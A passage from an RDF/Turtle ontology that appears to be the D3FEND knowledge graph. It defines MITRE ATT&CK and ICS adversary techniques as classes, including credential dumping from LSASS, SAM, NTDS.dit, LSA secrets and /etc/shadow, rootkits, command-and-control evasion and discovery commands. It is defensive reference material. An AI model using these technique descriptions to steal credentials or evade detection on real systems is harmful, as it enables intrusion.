    rdfs:subClassOf d3f:ATTACKICSCommandAndControlTechnique ;
    skos:prefLabel "Connection Proxy" .

d3f:T0885 a owl:Class ;
    rdfs:label "Commonly Used Port - ATTACK ICS" ;
    d3f:attack-id "T0885" ;
    d3f:definition "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below." ;
    rdfs:subClassOf d3f:ATTACKICSCommandAndControlTechnique ;
    skos:prefLabel "Commonly Used Port" .

d3f:T0886 a owl:Class ;
    rdfs:label "Remote Services - ATTACK ICS" ;
    d3f:attack-id "T0886" ;
    d3f:definition "Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: Joe Slowik April 2019)" ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique,
        d3f:ATTACKICSLateralMovementTechnique ;
    skos:prefLabel "Remote Services" .

d3f:T0887 a owl:Class ;
    rdfs:label "Wireless Sniffing - ATTACK ICS" ;
    d3f:attack-id "T0887" ;
    d3f:definition "Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. (Citation: Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. April 2018)  The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique,
        d3f:ATTACKICSDiscoveryTechnique ;
    skos:prefLabel "Wireless Sniffing" .

d3f:T0888 a owl:Class ;
    rdfs:label "Remote System Information Discovery - ATTACK ICS" ;
    d3f:attack-id "T0888" ;
    d3f:definition "An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    skos:prefLabel "Remote System Information Discovery" .

d3f:T0889 a owl:Class ;
    rdfs:label "Modify Program - ATTACK ICS" ;
    d3f:attack-id "T0889" ;
    d3f:definition "Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append." ;
    rdfs:subClassOf d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "Modify Program" .

d3f:T0890 a owl:Class ;
    rdfs:label "Exploitation for Privilege Escalation - ATTACK ICS" ;
    d3f:attack-id "T0890" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. (Citation: The MITRE Corporation)" ;
    rdfs:subClassOf d3f:ATTACKICSPrivilegeEscalationTechnique ;
    skos:prefLabel "Exploitation for Privilege Escalation" .

d3f:T0891 a owl:Class ;
    rdfs:label "Hardcoded Credentials - ATTACK ICS" ;
    d3f:attack-id "T0891" ;
    d3f:definition "Adversaries may leverage credentials that are hardcoded in software or firmware to gain an unauthorized interactive user session to an asset. Examples credentials that may be hardcoded in an asset include:" ;
    rdfs:subClassOf d3f:ATTACKICSLateralMovementTechnique,
        d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "Hardcoded Credentials" .

d3f:T0892 a owl:Class ;
    rdfs:label "Change Credential - ATTACK ICS" ;
    d3f:attack-id "T0892" ;
    d3f:definition "Adversaries may modify software and device credentials to prevent operator and responder access. Depending on the device, the modification or addition of this password could prevent any device configuration actions from being accomplished and may require a factory reset or replacement of hardware. These credentials are often built-in features provided by the device vendors as a means to restrict access to management interfaces." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Change Credential" .

d3f:T0893 a owl:Class ;
    rdfs:label "Data from Local System - ATTACK ICS" ;
    d3f:attack-id "T0893" ;
    d3f:definition "Adversaries may target and collect data from local system sources, such as file systems, configuration files, or local databases. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Data from Local System" .

d3f:T0894 a owl:Class ;
    rdfs:label "System Binary Proxy Execution - ATTACK ICS" ;
    d3f:attack-id "T0894" ;
    d3f:definition "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. (Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands. (Citation: split man page)(Citation: GTFO split)" ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique ;
    skos:prefLabel "System Binary Proxy Execution" .

d3f:T0895 a owl:Class ;
    rdfs:label "Autorun Image - ATTACK ICS" ;
    d3f:attack-id "T0895" ;
    d3f:definition "Adversaries may leverage AutoRun functionality or scripts to execute malicious code. Devices configured to enable AutoRun functionality or legacy operating systems may be susceptible to abuse of these features to run malicious code stored on various forms of removeable media (i.e., USB, Disk Images [.ISO]). Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Autorun Image" .

d3f:T1001.001 a owl:Class ;
    rdfs:label "Junk Data" ;
    d3f:attack-id "T1001.001" ;
    d3f:definition "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters." ;
    rdfs:subClassOf d3f:T1001 .

d3f:T1001.002 a owl:Class ;
    rdfs:label "Steganography" ;
    d3f:attack-id "T1001.002" ;
    d3f:definition "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control." ;
    rdfs:subClassOf d3f:T1001 .

d3f:T1001.003 a owl:Class ;
    rdfs:label "Protocol or Service Impersonation" ;
    d3f:attack-id "T1001.003" ;
    d3f:definition "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic." ;
    rdfs:subClassOf d3f:T1001 .

d3f:T1002 a owl:Class ;
    rdfs:label "Data Compressed" ;
    d3f:attack-id "T1002" ;
    d3f:definition "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib." ;
    rdfs:comment "This technique has been revoked by T1560" ;
    rdfs:seeAlso d3f:T1560 ;
    rdfs:subClassOf d3f:ExfiltrationTechnique ;
    owl:deprecated true .

d3f:T1003.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LSASS Memory" ;
    d3f:accesses d3f:AuthenticationService,
        d3f:Process ;
    d3f:attack-id "T1003.001" ;
    d3f:definition "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:AuthenticationService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Process ],
        d3f:T1003 .

d3f:T1003.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Security Account Manager" ;
    d3f:attack-id "T1003.002" ;
    d3f:definition "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access." ;
    d3f:may-access d3f:AuthenticationService,
        d3f:Process,
        d3f:SystemPasswordDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:AuthenticationService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:SystemPasswordDatabase ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:Process ],
        d3f:T1003 .

d3f:T1003.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "NTDS" ;
    d3f:accesses d3f:EncryptedCredential ;
    d3f:attack-id "T1003.003" ;
    d3f:definition "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:EncryptedCredential ],
        d3f:T1003 .

d3f:T1003.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LSA Secrets" ;
    d3f:attack-id "T1003.004" ;
    d3f:definition "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)" ;
    d3f:may-access d3f:Process,
        d3f:SystemPasswordDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:SystemPasswordDatabase ],
        d3f:T1003 .

d3f:T1003.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cached Domain Credentials" ;
    d3f:accesses d3f:EncryptedCredential ;
    d3f:attack-id "T1003.005" ;
    d3f:definition "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)" ;
    d3f:may-modify d3f:Log ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:Log ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:EncryptedCredential ],
        d3f:T1003 .

d3f:T1003.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DCSync" ;
    d3f:attack-id "T1003.006" ;
    d3f:definition "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync." ;
    d3f:may-modify d3f:EventLog ;
    d3f:produces d3f:IntranetAdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:T1003 .

d3f:T1003.007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Proc Filesystem" ;
    d3f:accesses d3f:OperatingSystemFile,
        d3f:ProcessImage ;
    d3f:attack-id "T1003.007" ;
    d3f:definition "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process’s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:OperatingSystemFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:ProcessImage ],
        d3f:T1003 .

d3f:T1003.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "/etc/passwd and /etc/shadow" ;
    d3f:accesses d3f:EncryptedCredential,
        d3f:PasswordFile ;
    d3f:attack-id "T1003.008" ;
    d3f:definition "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:EncryptedCredential ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:PasswordFile ],
        d3f:T1003 .

d3f:T1004 a owl:Class ;
    rdfs:label "Winlogon Helper DLL" ;
    d3f:attack-id "T1004" ;
    d3f:definition "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)" ;
    rdfs:comment "This technique has been revoked by T1547.004" ;
    rdfs:seeAlso d3f:T1547.004 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data from Local System" ;
    d3f:accesses d3f:File,
        d3f:LocalResource ;
    d3f:attack-id "T1005" ;
    d3f:definition "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:LocalResource ],
        d3f:CollectionTechnique .

d3f:T1006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Direct Volume Access" ;
    d3f:accesses d3f:Volume ;
    d3f:attack-id "T1006" ;
    d3f:definition "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Volume ],
        d3f:DefenseEvasionTechnique .

d3f:T1007 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Service Discovery" ;
    d3f:attack-id "T1007" ;
    d3f:definition "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>." ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:GetRunningProcesses ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetRunningProcesses ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:DiscoveryTechnique .

d3f:T1008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Fallback Channels" ;
    d3f:attack-id "T1008" ;
    d3f:definition "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1009 a owl:Class ;
    rdfs:label "Binary Padding" ;
    d3f:attack-id "T1009" ;
    d3f:definition "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations." ;
    rdfs:comment "This technique has been revoked by T1027.001" ;
    rdfs:seeAlso d3f:T1027.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1010 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Window Discovery" ;
    d3f:attack-id "T1010" ;
    d3f:definition "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)" ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:GetOpenWindows ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetOpenWindows ],
        d3f:DiscoveryTechnique .

d3f:T1011.001 a owl:Class ;
    rdfs:label "Exfiltration Over Bluetooth" ;
    d3f:attack-id "T1011.001" ;
    d3f:definition "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel." ;
    rdfs:subClassOf d3f:T1011 .

d3f:T1012 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Query Registry" ;
    d3f:accesses d3f:SystemConfigurationDatabase ;
    d3f:attack-id "T1012" ;
    d3f:definition "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software." ;
    d3f:may-invoke d3f:GetSystemConfigValue ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetSystemConfigValue ],
        d3f:DiscoveryTechnique .

d3f:T1013 a owl:Class ;
    rdfs:label "Port Monitors" ;
    d3f:attack-id "T1013" ;
    d3f:definition "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>." ;
    rdfs:comment "This technique has been revoked by T1547.010" ;
    rdfs:seeAlso d3f:T1547.010 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1014 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Rootkit" ;
    d3f:attack-id "T1014" ;
    d3f:definition "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)" ;
    d3f:may-modify d3f:BootSector,
        d3f:Firmware,
        d3f:Kernel,
        d3f:KernelModule,
        d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:BootSector ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:Kernel ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:KernelModule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:Firmware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:DefenseEvasionTechnique .

d3f:T1015 a owl:Class ;
    rdfs:label "Accessibility Features" ;
    d3f:attack-id "T1015" ;
    d3f:definition "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system." ;
    rdfs:comment "This technique has been revoked by T1546.008" ;
    rdfs:seeAlso d3f:T1546.008 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1016.001 a owl:Class ;
    rdfs:label "Internet Connection Discovery" ;
    d3f:attack-id "T1016.001" ;
    d3f:definition "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites." ;
    rdfs:subClassOf d3f:T1016 .

d3f:T1016.002 a owl:Class ;
    rdfs:label "Wi-Fi Discovery" ;
    d3f:attack-id "T1016.002" ;
    d3f:definition "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns." ;
    rdfs:subClassOf d3f:T1016 .

d3f:T1017 a owl:Class ;
    rdfs:label "Application Deployment Software" ;
    d3f:attack-id "T1017" ;
    d3f:definition "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment." ;
    rdfs:comment "This technique has been revoked by T1072" ;
    rdfs:seeAlso d3f:T1072 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1018 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote System Discovery" ;
    d3f:attack-id "T1018" ;
    d3f:definition "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039)." ;
    d3f:may-access d3f:OperatingSystemConfigurationFile ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:CreateSocket ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateSocket ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        d3f:DiscoveryTechnique .

d3f:T1019 a owl:Class ;
    rdfs:label "System Firmware" ;
    d3f:attack-id "T1019" ;
    d3f:definition "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)" ;
    rdfs:comment "This technique has been revoked by T1542.001" ;
    rdfs:seeAlso d3f:T1542.001 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1020.001 a owl:Class ;
    rdfs:label "Traffic Duplication" ;
    d3f:attack-id "T1020.001" ;
    d3f:definition "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)" ;
    rdfs:subClassOf d3f:T1020 .

d3f:T1021.003 a owl:Class ;
    rdfs:label "Distributed Component Object Model" ;
    d3f:attack-id "T1021.003" ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user." ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1021.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SSH" ;
    d3f:attack-id "T1021.004" ;
    d3f:creates d3f:SSHSession ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user." ;
    d3f:produces d3f:AdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:SSHSession ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:AdministrativeNetworkTraffic ],
        d3f:T1021 .

d3f:T1021.005 a owl:Class ;
    rdfs:label "VNC" ;
    d3f:attack-id "T1021.005" ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)" ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1021.007 a owl:Class ;
    rdfs:label "Cloud Services" ;
    d3f:attack-id "T1021.007" ;
    d3f:definition "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user." ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1021.008 a owl:Class ;
    rdfs:label "Direct Cloud VM Connections" ;
    d3f:attack-id "T1021.008" ;
    d3f:definition "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager)." ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1022 a owl:Class ;
    rdfs:label "Data Encrypted" ;
    d3f:attack-id "T1022" ;
    d3f:definition "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip." ;
    rdfs:comment "This technique has been revoked by T1560" ;
    rdfs:seeAlso d3f:T1560 ;
    rdfs:subClassOf d3f:ExfiltrationTechnique ;
    owl:deprecated true .

d3f:T1023 a owl:Class ;
    rdfs:label "Shortcut Modification" ;
    d3f:attack-id "T1023" ;
    d3f:definition "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program." ;
    rdfs:comment "This technique has been revoked by T1547.009" ;
    rdfs:seeAlso d3f:T1547.009 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1024 a owl:Class ;
    rdfs:label "Custom Cryptographic Protocol" ;
    d3f:attack-id "T1024" ;
